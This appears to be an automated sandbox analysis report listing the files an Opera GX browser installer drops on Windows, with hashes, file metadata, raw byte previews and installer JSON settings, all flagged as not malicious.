                                                                                                                                                                                                              Preview:MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNTZkYWZhZDVhYjk3NWFjMjMwOTp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOnsibmFtZSI6Im9wZXJhX2d4In0sInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3Mjg4MDQ1NzIuMzIwMyIsInVzZXJhZ2VudCI6Iklubm9Eb3dubG9hZFBsdWdpbi8xLjUiLCJ1dG0iOnsiY2FtcGFpZ24iOiJQV05fVVNfUEIzX0REXzM2NjEiLCJjb250ZW50IjoiMzY2MV8yOTEwIiwiaWQiOiIyYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSIsIm1lZGl1bSI6InBhIiwic291cmNlIjoiUFdOZ2FtZXMifSwidXVpZCI6ImZkM2VmZWRjLWI4MTEtNDEwOC1hMjQwLTk3ZjJkYjRkMGVjZSJ9

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\71A87FDC65A2\installer.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7977368
                                                                                                                                                                                                              Entropy (8bit):6.942347861673801
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:0eLc7yn6V2FoCslJwNyZYwl9gkSrn2vToxRDBxZer86c:zLcmnp+aNsqks2CRDw81
                                                                                                                                                                                                              MD5:482A2C147099CCA899B4D09FD7D572AB
                                                                                                                                                                                                              SHA1:E78EE6D66EDDE3524AE10AA9CEA9C6BF502110E0
                                                                                                                                                                                                              SHA-256:CD30F4F6CEA71B7B3A42B311F3F018FB4B64D473868722655D400DCCEE6DEEFD
                                                                                                                                                                                                              SHA-512:B6CC9699D08DC94885DE1BA82D144028F0B94CBF60EA3A314CCB3D11B3736F5D4F152A8738CE8C92D55BAA17C085B1A6249BDB72A0B116DF1F5EE7E3E96D97E2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........."......,...^t................@............................. z.......y...`.....................................................P........pr......9....y..)....z.....\...8...................@...(....@..@............!..`............................text....+.......,.................. ..`.rdata...U...@...V...0..............@..@.data...`J......."..................@....pdata...9.......:..................@..@.gxfg...P&...0...(..................@..@.retplne.....`...........................tls.........p......................@..._RDATA..............................@..@.rsrc....pr......rr.................@..@.reloc........z.......y.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\0adb302b-72dd-4a9a-aff1-d93bd4e36689.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1181
                                                                                                                                                                                                              Entropy (8bit):5.121676061469949
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:YdHH78PBpn+6Pz4jX2YMfkueqRbRpi7v1f+ZNcH3HuBYC:YdHH78PBAlXL+eCKx+Zi3rC
                                                                                                                                                                                                              MD5:1D355D168B22DEC2D9E4A20DDE826F21
                                                                                                                                                                                                              SHA1:6054E5DA9B87EA05AE2885F303110FEDDDCC0561
                                                                                                                                                                                                              SHA-256:C610C4924874E75533339DDCD8AA7DA242A620D3282CDE4ED165EAE19B82D5BD
                                                                                                                                                                                                              SHA-512:3DE82ECBF039EB6550A1B9B652C3C84347BC5164572DA44BBF252B490792AF97F08F7085F28E888D33DADA3B8BD807D6F7F55F0499B786D1C1EE6159B9BF56E4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"country":"US","features-dna-requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"features-remote-flag":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","remote-features-guid":"4a730dd9-027f-4e80-b7c8-4f65d87b88c5","welcome-url":"https://redir.opera.com/www.opera.com/gx/firstrun/?utm_campaign=PWN_US_PB3_DD_3661&utm_content=3661_2910&utm_id=2bafdef2641840219155e9094f2ed3a9&utm_medium=pa&utm_source=PWNgames&http_ref

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\295d8945-907a-49f1-9e3d-b9c48856bfb0.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):384
                                                                                                                                                                                                              Entropy (8bit):5.203234939850706
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6:YSAILzPl3DBDmNY+BDxclQ4pZWdHnOAb6AiWIoSN8mNABDxclQ41oW:YSLrlNDmNYKkYHnz6AVSN8mNAzWoW
                                                                                                                                                                                                              MD5:DECFAA7C6651F7B705EB0E99DE959E09
                                                                                                                                                                                                              SHA1:9414734B3A2960E9DE979CD589149DB90F87FEEC
                                                                                                                                                                                                              SHA-256:7A6AB3F75099A19231E281A0909492558CC67603BF043F74EAC4F01902FD58FA
                                                                                                                                                                                                              SHA-512:EE869CE54EACF62CC1BC7370FC05EEF237DB5D4FB9E202EA6082709E96A63752150B722347FB7CDEF0831F9CE82E6F71170F2DC63FB432260BCB8EFEF1697C00
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"welcome-url":"https://redir.opera.com/www.opera.com/gx/firstrun/?utm_campaign=PWN_US_PB3_DD_3661&utm_content=3661_2910&utm_id=2bafdef2641840219155e9094f2ed3a9&utm_medium=pa&utm_source=PWNgames&http_referrer=&query=/opera_gx/stable/edition/std-2?utm_source=PWNgames%26utm_medium=pa%26utm_campaign=PWN_US_PB3_DD_3661%26utm_id=2bafdef2641840219155e9094f2ed3a9%26utm_content=3661_2910"}

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\Opera GX Browser .lnk

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sun Oct 13 07:33:55 2024, mtime=Sun Oct 13 07:33:55 2024, atime=Wed Oct 9 12:28:55 2024, length=1493400, window=hide
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1491
                                                                                                                                                                                                              Entropy (8bit):4.908011581280119
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:8mXs0CK2IFIRIyvpkvA46Z5H8AKKLbucGm/1cGmImjfPfQlqy6EZWNEyhm:8m80CK2IFIRICpkv/sbKK/ucGm/1cGmZ
                                                                                                                                                                                                              MD5:DCFE30660B0EB014E087329214C73BFE
                                                                                                                                                                                                              SHA1:11903D7991FDC6320A7838881DD29B8A15DC2B52
                                                                                                                                                                                                              SHA-256:7DF358C2191EBCC4E6C6257BE948A35644B966A40D0858D4D99E636861D7E70A
                                                                                                                                                                                                              SHA-512:73A9D22060F2F487466D1FCE19EF6C5467C5E7FF91B720DE3234A3F8D9B95101055DEE47EEEF586065BAB6FE6ACDEF4DB9CD18CD5177F7E615AC3D508F1EC3D3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:L..................F.... ......J......J...b.%0O.............................:..DG..Yr?.D..U..k0.&...&......Qg.*_....i.A.....&.J.......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=MY.C..........................3*N.A.p.p.D.a.t.a...B.P.1.....MY.;..Local.<......EW.=MY.C..........................[.-.L.o.c.a.l.....Z.1.....MY.C..Programs..B......MY.;MY.C............................].P.r.o.g.r.a.m.s.....Z.1.....MY<D..OPERAG~1..B......MY.CMY<D....9"......................A.O.p.e.r.a. .G.X.....\.2.....IY.k .opera.exe.D......MY<DMY<D.....S........................o.p.e.r.a...e.x.e.......k...............-.......j...........r0......C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe..H.....\.....\.....\.....\.....\.....\.....\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.P.r.o.g.r.a.m.s.\.O.p.e.r.a. .G.X.\.o.p.e.r.a...e.x.e.2.C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.P.r.o.g.r.a.m.s.\.O.p.e.r.a. .G.X.............:...........|

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\additional_file0.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1499104
                                                                                                                                                                                                              Entropy (8bit):7.985603261747699
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:4ACKcQz8HkfJ8dQnd4GrbwsgY+UfLBCQdI5f3cjCRgCPPWCUZry8k/GUrbN:5pT8HkfJ5eGrbmR0afsXCBrG
                                                                                                                                                                                                              MD5:E9A2209B61F4BE34F25069A6E54AFFEA
                                                                                                                                                                                                              SHA1:6368B0A81608C701B06B97AEFF194CE88FD0E3C0
                                                                                                                                                                                                              SHA-256:E950F17F4181009EEAFA9F5306E8A9DFD26D88CA63B1838F44FF0EFC738E7D1F
                                                                                                                                                                                                              SHA-512:59E46277CA79A43ED8B0A25B24EFF013E251A75F90587E013B9C12851E5DD7283B6172F7D48583982F6A32069457778EE440025C1C754BF7BB6CE8AE1D2C3FC5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L...'..P.................(...F.......-.......@....@.................................7........................................b......................H................................................................@..d............................text....&.......(.................. ..`.rdata...5...@...6...*..............@..@.data....)...........`..............@....rsrc................h..............@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P....P.|..Y.nj'.v....u..v..=.BA..6P......P....9^..].v8.^..3......hhDA.P..........P......P..pAA..E..E....;F.r......P.J|..Y.24..j...lAA...t$..D....3.9.H.A.t...@....9D$.t..t$.Ph.....5@.A....BA.3.....D$..`...|$..u..@.....3.....t$..D$..t$...`.A......t$...P.Q..%`.A...D$...V...t...P.Q...^...VW.|$.....t...W.P.....t...P.Q..>.._^....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u..S.\$.V..C;^.tLW3.j.Z...........Q.......3.9F.Y~.9F.~...f..Af..G@;F.|..6....

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\additional_file1.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:Unicode text, UTF-8 text, with very long lines (1824)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):242304
                                                                                                                                                                                                              Entropy (8bit):6.028776242997077
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3072:+lrEaq+nSpKS1d/ttUYD6W6Z2NrwYrVZCs0iUCabiKfAu/wX2OCy:cEe+1btUYOnkrPVZCCUCabNU
                                                                                                                                                                                                              MD5:8EEDA41CF4BB6900216E9A91E69BF857
                                                                                                                                                                                                              SHA1:858FD2E9F90A1A55C4A7B6DE5C1EEABC851749C1
                                                                                                                                                                                                              SHA-256:00CC54663583EE631FA4063B2AF65B89B3451C70435D8EAF9F8332B5CDE916E7
                                                                                                                                                                                                              SHA-512:EB08D29C0F317FE0B3214BBE56CDC3B6F9C0C6A4289FB6C459F6915C2E227B507E32B8763FFD28BDBA829DE7CACE4C3816346B30550410E9D09A2B637D921748
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// oIafncyzxXIthD3yrr0ExADLGcSvJVUPhfm/Ps9IJWzBeVPqfctf2eq3cfSQou5ntqGt6gg7DLHaqxPUf7YMzjoasvVdoztX/1r0O8XKGUx89DnXb+9PZJe/CcnoP0KFiAxZlugvMS9+zaPR/MbZpGnOO7Ylzoxo0Y3WXqfWtpQ8jK9r4pMa23T1hW1X+kj1PKpTOpTZtsm2TtxQGPUXsMmvu/XJHkjGSVpTyFCVFrobvLd0XQPWe6oqLrvsNgPW9HJjbDWiR3cUL2kxGw8qsix5PK/KijbPVyf/tuIv2CYgca2qfUrmjNG5/Mx03+QaecavFhuVV4KaWFacYnatuQ==.{. "version": 41,. "partner_id": "std-2",. "user_agent": "std-2",. "search_engines": {. "location": {. "ad": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing_attributed",. "wiki". ],. "speed_dial_index_list": [0]. }. },. "al": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing_attributed",. "wiki". ],. "speed_dial_index_list": [0]. }. },.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1853592
                                                                                                                                                                                                              Entropy (8bit):6.818631706824549
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:K9A2yB7Nxu6wdWob6zD0fnBa2M9SmWqRYv9XTQdg7VHUw9MqNTLTM7DbXTWs4HU+:cAF/wvfnJ1zRH/2qNvsD3W3HUTX4Ean
                                                                                                                                                                                                              MD5:4C8FBED0044DA34AD25F781C3D117A66
                                                                                                                                                                                                              SHA1:8DD93340E3D09DE993C3BC12DB82680A8E69D653
                                                                                                                                                                                                              SHA-256:AFE569CE9E4F71C23BA5F6E8FD32BE62AC9538E397CDE8F2ECBE46FAA721242A
                                                                                                                                                                                                              SHA-512:A04E6FD052D2D63A0737C83702C66A9AF834F9DF8423666508C42B3E1D8384300239C9DDACDC31C1E85140EB1193BCFAC209F218750B40342492FFCE6E9DA481
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....B.`.........."......`........................@.................................sS....@.............................`................E...........,...............~.......................}......@4..........................@....................text...?_.......`.................. ..`.rdata......p.......d..............@..@.data....c.......0..................@....00cfg.......p......................@..@.tls................................@....voltbl.P...............................CPADinfo0...........................@....rsrc....E.......F..................@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\browser_assistant.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3291288
                                                                                                                                                                                                              Entropy (8bit):6.8236015092223115
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:4qcHd9dChDBdG26666666666666666666666666666666x666666666666666fwW:4qcHZChfGcwMOlq
                                                                                                                                                                                                              MD5:28A21AFB4BDC543B4B0309BB78B8BA4A
                                                                                                                                                                                                              SHA1:AB6230C0E1C2C12FC5C9B7A60EA5ADEF99E7783B
                                                                                                                                                                                                              SHA-256:672AEB85A07EC1A25DBCF48B64D3BDE24DD0691C2BB27ED74A536776F63B5D27
                                                                                                                                                                                                              SHA-512:806A3466DD4DE9BFCA6B13C20E69985DECFB8FFE5A31F785D649DAB249064FC4EC1FBBA9DDAEFC634D6E7AA355FEF73F511357C748043E407F979B150C159CB7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....B.`..........".......'..........6$...........@...........................2......v2...@........................../.^...1./.T.....0.@.............2.......1......k/..................... j/.......-.............P./.....`./.@....................text.....'.......'................. ..`.rdata....... '.......'.............@..@.data...,n....0..2..../.............@....00cfg.......p0.......0.............@..@.rodata.......0.......0............. ..`.tls..........0.......0.............@....voltbl.\.....0.......0.................CPADinfo0.....0.......0.............@....rsrc...@.....0.......0.............@..@.reloc........1.......0.............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\files_list

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):61
                                                                                                                                                                                                              Entropy (8bit):4.030896101301726
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3:/WBElnLWqOXLNod5ylmvYKO:aElZOXL6+lmvYD
                                                                                                                                                                                                              MD5:2F070A8DDB1E4A5BC2137DBB2967E9A8
                                                                                                                                                                                                              SHA1:F9F38DA409C2D4DFCE3471CF6621B7B81B797BF5
                                                                                                                                                                                                              SHA-256:4C3722675F9E72C3ECE2A029DC8637CD8219CEB40B623D6DC75647314036AD3C
                                                                                                                                                                                                              SHA-512:52FCB7870637F46D156D2F210E119A52B5B5226B9AEDE66ACF51160FBA45310D865DC4CCE1BD8A82156C414175DE49A5DCB527CF9F635F925D3C5603872CDD7C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:assistant_installer.exe..browser_assistant.exe..mojo_core.dll

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\mojo_core.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe
                                                                                                                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):990360
                                                                                                                                                                                                              Entropy (8bit):6.751997627821156
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:A6o+8ckgAyVGC2a8KmvPvFRcYc5L8eJcnvkmXXXoQZB16mk:845W9rDMMZz6mk
                                                                                                                                                                                                              MD5:7913D58432695A0DD61EE6B472FBDE99
                                                                                                                                                                                                              SHA1:2F29F0B689539C03F16C1DB7DEBD216F8D71A110
                                                                                                                                                                                                              SHA-256:789E08420078F7EAFBE22A28CD657313829E52F9A5133FD20D894A0AADFC0CD1
                                                                                                                                                                                                              SHA-512:ECD2D61ED30F455746E7A70D719C9A10C85C861753BBBF9E478F6B5C6790465B1BE6951594222C5B5F5F7471E0A54EFEC8F66247F817E7AD97BB4E5839CC4326
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....B.`.........."!.........F............................................................@A.........................?..t....?............................... ..0l...*.......................).......................B...............................text...|........................... ..`.rdata..(...........................@..@.data...,g.......,...`..............@....00cfg..............................@..@.tls................................@....voltbl..................................reloc..0l... ...n..................@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\bf2171b4-78e1-4bbb-ab8e-7ddd48fb4ba8.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):399
                                                                                                                                                                                                              Entropy (8bit):5.241909143733298
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12:YGKed2pHlUrlNDmNYKkYHnz6AVSN8mNAzWoW:YdHHlUZNcH3HuBYC
                                                                                                                                                                                                              MD5:FC52FE60B82E27210FCC436A13F74DAB
                                                                                                                                                                                                              SHA1:56CA2D227D1C1095D7564E9C93B5A3D3733408E0
                                                                                                                                                                                                              SHA-256:5A4CAA6CE17D96CDFC78E07A64A3F473FCA3B84867E0F27CDD547695714E3F1E
                                                                                                                                                                                                              SHA-512:E171128D6318C492BADE8E76426549A0E55530D9039CAA5B7AC7FDDBF23B13A8A6E4AA86E9AB6BB6AC45824C412697EBA82429A9AC85694DC668C4DD9D7053DF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"country":"US","welcome-url":"https://redir.opera.com/www.opera.com/gx/firstrun/?utm_campaign=PWN_US_PB3_DD_3661&utm_content=3661_2910&utm_id=2bafdef2641840219155e9094f2ed3a9&utm_medium=pa&utm_source=PWNgames&http_referrer=&query=/opera_gx/stable/edition/std-2?utm_source=PWNgames%26utm_medium=pa%26utm_campaign=PWN_US_PB3_DD_3661%26utm_id=2bafdef2641840219155e9094f2ed3a9%26utm_content=3661_2910"}

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\files_list

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):39
                                                                                                                                                                                                              Entropy (8bit):3.830148693165749
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3:mWaTtoKAtPNe:m3K/g
                                                                                                                                                                                                              MD5:FE7F046D773FC1DE764E1BE70614BF20
                                                                                                                                                                                                              SHA1:C2F16957953DEEB6DE1A12FA656AC84FCAA5B085
                                                                                                                                                                                                              SHA-256:3D87AD3D7001FBE5D65682BF1111A73C4A1BA68B34C604C6BDE77C5DD8ADCC8E
                                                                                                                                                                                                              SHA-512:405BC34A634007AF8159252D1E28AD3578BD6339C81B9DE97E022FD1420D0394488C09A36BD7E23BB38DF466AE2FA1B66420F97198DBD2099A161ABCDA121A03
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:resources/custom_partner_content.json..

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\installer_prefs_include.json.backup

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1181
                                                                                                                                                                                                              Entropy (8bit):5.121676061469949
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:YdHH78PBpn+6Pz4jX2YMfkueqRbRpi7v1f+ZNcH3HuBYC:YdHH78PBAlXL+eCKx+Zi3rC
                                                                                                                                                                                                              MD5:1D355D168B22DEC2D9E4A20DDE826F21
                                                                                                                                                                                                              SHA1:6054E5DA9B87EA05AE2885F303110FEDDDCC0561
                                                                                                                                                                                                              SHA-256:C610C4924874E75533339DDCD8AA7DA242A620D3282CDE4ED165EAE19B82D5BD
                                                                                                                                                                                                              SHA-512:3DE82ECBF039EB6550A1B9B652C3C84347BC5164572DA44BBF252B490792AF97F08F7085F28E888D33DADA3B8BD807D6F7F55F0499B786D1C1EE6159B9BF56E4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"country":"US","features-dna-requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"features-remote-flag":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","remote-features-guid":"4a730dd9-027f-4e80-b7c8-4f65d87b88c5","welcome-url":"https://redir.opera.com/www.opera.com/gx/firstrun/?utm_campaign=PWN_US_PB3_DD_3661&utm_content=3661_2910&utm_id=2bafdef2641840219155e9094f2ed3a9&utm_medium=pa&utm_source=PWNgames&http_ref

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\opera_package

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):143657120
                                                                                                                                                                                                              Entropy (8bit):7.999975950197533
                                                                                                                                                                                                              Encrypted:true
                                                                                                                                                                                                              SSDEEP:3145728:zVHd/PWpFRVOvQlskURxSf2pl3Y4r5q+3kBiVH:B9GjDSRrpFYY4eH
                                                                                                                                                                                                              MD5:E4144E479D10369222F5A79C1BC0C0E0
                                                                                                                                                                                                              SHA1:3AEF6A4AE20326D849A09774DDC7F4E25E4051B2
                                                                                                                                                                                                              SHA-256:47A2A6F100ED994A0A27573E2E5B31CE91181909382E3702B1BE38DBFA04F16C
                                                                                                                                                                                                              SHA-512:DA2F875E9CF49C3DB6DA4882F83A53C1AF9C15EFBD4903DA1E30247230AD82C85D90E8E9344B0AA00E00D4C783972E0886237A66600D6FA267A919CB76BE6BA8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
